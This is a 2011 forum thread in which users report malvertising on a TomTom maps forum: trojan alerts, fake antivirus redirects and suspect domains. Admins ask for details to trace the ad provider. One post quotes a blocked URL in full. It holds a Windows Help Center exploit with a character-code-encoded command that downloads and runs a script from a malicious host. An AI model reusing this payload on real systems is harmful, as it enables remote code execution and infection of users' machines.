Switch to full style
Here you post everything that is not related to other forum areas.
stuff like how you like this forum for example ;)
Post a reply

Thu Mar 03, 2011 3:05 pm

Orbilator wrote:yeah i also use spybot search and destrpy and have a rigid monthly use of malawarebytes.
I pretty clean. I spend most of my time repairing pc's and malware is pretty much 70% of my time.


Excellent. You may want to look at Super Anti-spyware also. They have a free edition.

Thu Mar 03, 2011 8:47 pm

As good as the forum is, unfortunately it seems riddled with malware. I've lost count of the number of trojans my security has intercepted.

Just opened the TomTom 865.XXX maps thread, didn't click on anything and bang, security (Zonealarm) intercepts attempt to infect computer with trojan "Trojan.JS.Agent.btv". At the same time a nasty little program starts to scan my computer for errors. Internet lock engaged, scanned with superantispyware and malwarebytes.

Two days ago it was "Exploit.JS.Pdfka.der" - I think this was just opening the main page - didn't even have to open a thread.

Come on guys - what gives. This is, without exception, absolutely the worst site I frequent for attempting to cause me problems. Surely you can do something about it!

Thu Mar 03, 2011 9:14 pm

@TC2

Sorry to hear that you're having problems with navitotal.com but I just want to say there are no viruses or bad stuff here. I'm sure that the admin will read your post and comment on it. Again, sorry!

Fri Mar 04, 2011 1:02 am

We are currently in close contact with our ad providers to get a hold of the problem.
In order to be able to confirm malware and locate the offending ads we need some help.

- IP address of the user that viewed the ad (we can check that in our log if you can not provide it)
- Date/time/zone of the viewing (you local date, time and timezone at the time you got an offending ad)
- Ad URL of the problematic ad (the url that came up with the ad)
- Refer URL of the page that the ad was viewed on

Only if we can get these infos it will be possible to check if, and where the offending ads are coming from.
As stated earlier our servers are checked several times a day and clean.
But we will do our best to get to the ground of the problem !

Fri Mar 04, 2011 7:53 am

Hitman wrote:- IP address of the user that viewed the ad (we can check that in our log if you can not provide it)
- Date/time/zone of the viewing (you local date, time and timezone at the time you got an offending ad)
- Ad URL of the problematic ad (the url that came up with the ad)
- Refer URL of the page that the ad was viewed on


OK. I'll try and take more note for any future attempts. Trojan from yesterday is still in quarantine, path shown as "\....Internet Files\Content.IE5\O15Q4JVK\\sc-spyware_com(1).htm". Time was about 20.30 - 21.00 UK. Haven't got anymore info on this.
I've got into the habit of moving the cursor to the very left or right of the page as it loads to make sure I'm not over any Ads - I didn't actually click on any Ads last night.

Sun Mar 06, 2011 6:31 pm

Same here too,
Had 3 security alerts, one when I first joined, and 2, ten minutes ago. 18.17 UK time
I didnt catch many details about the first two, but the last one said 'offerstatslinedance.com'

Sun Mar 06, 2011 10:18 pm

IE 8 just blocked this.

metrika2.deeps5.cz.cc

hcp://services/search?query=anything&to ... fomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=<script defer>eval(Run(String.fromCharCode(99,109,100,32,47,99,32,101,99,104,111,32,66,61,34,108,46,118,98,115,34,58,87,105,116,104,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,109,101,116,114,105,107,97,50,46,100,101,101,112,115,53,46,99,122,46,99,99,47,103,97,109,101,115,47,104,99,112,95,118,98,115,46,112,104,112,63,102,61,49,57,34,44,102,97,108,115,101,58,46,115,101,110,100,40,41,58,83,101,116,32,65,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,58,83,101,116,32,68,61,65,46,67,114,101,97,116,101,84,101,120,116,70,105,108,101,40,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,41,58,68,46,87,114,105,116,101,76,105,110,101,32,46,114,101,115,112,111,110,115,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,68,46,67,108,111,115,101,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,46,82,117,110,32,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,32,62,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101)));</script>

Sun Mar 06, 2011 10:21 pm

Followed immediately by a fake antivirus attack from [Please Register or Login to download file]

Face it, you're going to have to dump your advertising provider and get an honest one!

Sun Mar 06, 2011 11:27 pm

I too having grief trying to download 865 series maps. Can get through to Relink showing the 12 files for download. But the page then goes blank still with Relink web address showing but covered by an advert etc. Also kept being asked to download a windows search program from Navitotal, to which I cancel or shows a windows virus warning which I shutdown with ctrl/alt/delete then ending that task with task manager.

What can be done to stop these intrusions. ????

thanks

Mon Mar 07, 2011 7:49 am

And another one, right off the main forum page. [Please Register or Login to download file]

Mon Mar 07, 2011 11:38 am

naviboy wrote:I too having grief trying to download 865 series maps. Can get through to Relink showing the 12 files for download. But the page then goes blank still with Relink web address showing but covered by an advert etc. Also kept being asked to download a windows search program from Navitotal, to which I cancel or shows a windows virus warning which I shutdown with ctrl/alt/delete then ending that task with task manager.

What can be done to stop these intrusions. ????

thanks


We advised our team to not use Relink.us anymore.
As for the advertising problem. Ads is how the server gets paid. Our ads provider is informed about these problems. Hope this is solved very soon.
Know that the team don't like this either. Be assured. We work very hard and in our free time! Those malware issues spoil our hard work.

Meanwhile, in order to track down the offending ads we need as much info as possible:
- IP address of the user that viewed the ad
- Date/time/zone of the viewing
- Ad URL of the problematic ad
- Refer URL of the page that the ad was viewed on


http://www.navitotal.com/forums/showthread.php?4814-This-forum-has-ads-that-attempt-to-install-malware.&goto=newpost

Fri Mar 11, 2011 7:40 pm

Just went to open the thread " . . .Installing Navcore 9.135 on a Go 940?" using the latest post link on the main TomTom page and was immediately redirected to the following:

"antivirysenligne.com" and got a popup with a "Windows Security " warning suggesting my computer needed scanning.

Time: 19.25 UK.

Note: didn't click on any other link or ad.

Not sure how to give you my IP address or any other info you might use.

Sat Mar 12, 2011 2:11 am

7:10 PM mountain time, opened this thread and got redirected to [Please Register or Login to download file]

Sat Mar 12, 2011 6:36 pm

please each time you got a problem like that, i need a pm, with all details:
- your ip ==> when you don't know ==> [Please Register or Login to download file]
- the time & date
- the url of the ads
(Check your browser history for the original url ads...)

Mon Mar 21, 2011 5:47 pm

Been having problems myself lately. Clicked on a link for latest navcore, and ended up at this page:
[Please Register or Login to download file] .

I think that this redirected from [Please Register or Login to download file] .

IP address is ***.***.*.**.
Date and time and time zone as per this post.

please try to get this sorted guys, its happening more and more :thumbdown:

Cheers,

Hotpants



Edit:
I removed your IP
nabi
Post a reply